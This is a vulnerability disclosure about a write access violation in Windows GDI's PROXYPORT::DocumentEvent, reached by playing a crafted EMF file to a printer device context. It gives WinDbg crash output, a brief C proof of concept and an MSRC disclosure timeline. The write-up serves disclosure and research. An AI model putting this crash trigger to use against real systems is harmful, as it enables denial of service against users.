Write access violation in Windows GDI DocumentEvent

TL;DR

A denial of service vulnerability exists when Windows GDI improperly handles objects in memory. Processing a specially crafted picture may trigger a write access violation exception when the device context is associated with a printer.

Description

While looking into old vulnerabilities related to GDI+ I have encountered a write access violation similar to CVE-2016-0169 and CVE-2016-0170. Calling PlayEnhMetaFile() with a printer device and a specially crafted EMF file may lead to memory corruption triggered by the PROXYPORT::DocumentEvent() function. The below is the relevant excerpt of the crash analysis from WinDbg:

 1FAULTING_IP: 
 2ucrtbase!memcpy+4e9
 37573c759 f30f7f07        movdqu  xmmword ptr [edi],xmm0
 4
 5EXCEPTION_RECORD:  (.exr -1)
 6ExceptionAddress: 7573c759 (ucrtbase!memcpy+0x000004e9)
 7   ExceptionCode: c0000005 (Access violation)
 8   ExceptionFlags: 00000000
 9NumberParameters: 2
10   Parameter[0]: 00000001
11   Parameter[1]: 03c701b4
12Attempt to write to address 03c701b4

Based on the official documentation, the ExtEscape() function enables an application to access device capabilities that are not available through GDI. The DocumentEvent() function is an event handler for events associated with printing a document. The gdi32full.dll module provides the undocumented ExtEscapeImpl() and DocumentEventEx() functions that will try to pass on the print job via LPC by calling PROXYPORT::DocumentEvent() and will lead to a reproducable write access violation.

PoC

The bug only reproduces when the destination HDC is associated with a printer. The below PoC code can demonstrate the problem.

1HDC hDC = CreateDC(L"WINSPOOL", L"Fax", NULL, NULL);
2HENHMETAFILE hEmf = GetEnhMetaFile(L"PoC.emf");
3
4RECT rect = { 0, 0, 100, 100 };
5PlayEnhMetaFile(hDC, hEmf, &rect);
6
7DeleteEnhMetaFile(hEmf);
8DeleteDC(hDC);

Upon compiling it and starting with the attached file in the current working directory, the expected crash is generated in memcpy():

 1(1080.3f98): Access violation - code c0000005 (first chance)
 2First chance exceptions are reported before any exception handling.
 3This exception may be expected and handled.
 4eax=0881009c ebx=08810000 ecx=00000024 edx=00000001 esi=08810078 edi=03d801b4
 5eip=7573c759 esp=0135f5e0 ebp=0135f7f4 iopl=0         nv up ei pl nz na po nc
 6cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
 7ucrtbase!memcpy+0x4e9:
 87573c759 f30f7f07        movdqu  xmmword ptr [edi],xmm0 ds:002b:03d801b4=00012200000000000000002c00000000
 9
100:000> kb
11 # ChildEBP RetAddr  Args to Child              
1200 0135f5e4 76980385 03d801b4 08810078 00000024 ucrtbase!memcpy+0x4e9
1301 0135f7f4 7697cab3 00000001 00000000 0837cf5c gdi32full!PROXYPORT::DocumentEvent+0x66c
1402 0135f840 7697c7ba 084b0e28 0837cf5c 9a210e9f gdi32full!DocumentEventEx+0x53
1503 0135fadc 751a5c3e 9a210e9f 00000001 00000024 gdi32full!ExtEscapeImpl+0x34a
1604 0135fb00 769d1daa 9a210e9f 00000001 00000024 GDI32!ExtEscape+0x2e
1705 0135fb24 7697cc79 9a210e9f 0865dff0 00000004 gdi32full!MRESCAPE::bPlay+0x3a
1806 0135fbb0 7697bcda 9a210e9f 0865dff0 03d801a4 gdi32full!PlayEnhMetaFileRecord+0x59
1907 0135fc78 769ccf85 00000000 00000000 0135fd88 gdi32full!bInternalPlayEMF+0x90a
2008 0135fc8c 751abff9 9a210e9f 4c460ff1 0135fd88 gdi32full!PlayEnhMetaFile+0x35
2109 0135fca4 001f18cf 9a210e9f 4c460ff1 0135fd88 GDI32!PlayEnhMetaFileStub+0x29

An access violation exception happend at 0x2C01B4 while attempting to write 436/0x1B4 bytes into a 4096/0x1000 bytes read-only memory block at 0x2C0000. The bug has been reproduced on a fully patched Windows 10 64-bit with a 32-bit PoC program loading version 10.0.18362.959 (x86) of gdi32full.dll, but the 64-bit build of gdi32full.dll also seems to be affected.

Timeline

⬅️ 2020-07-19: Reported issue to MSRC.
➡️ 2020-07-20: MSRC opened case 60041.
➡️ 2020-07-26: MSRC indicated that this is a moderate issue and won’t be fixed.
➡️ 2020-08-25: Coordinated public release of advisory.

References

Last updated:
Tags: DoS, EMF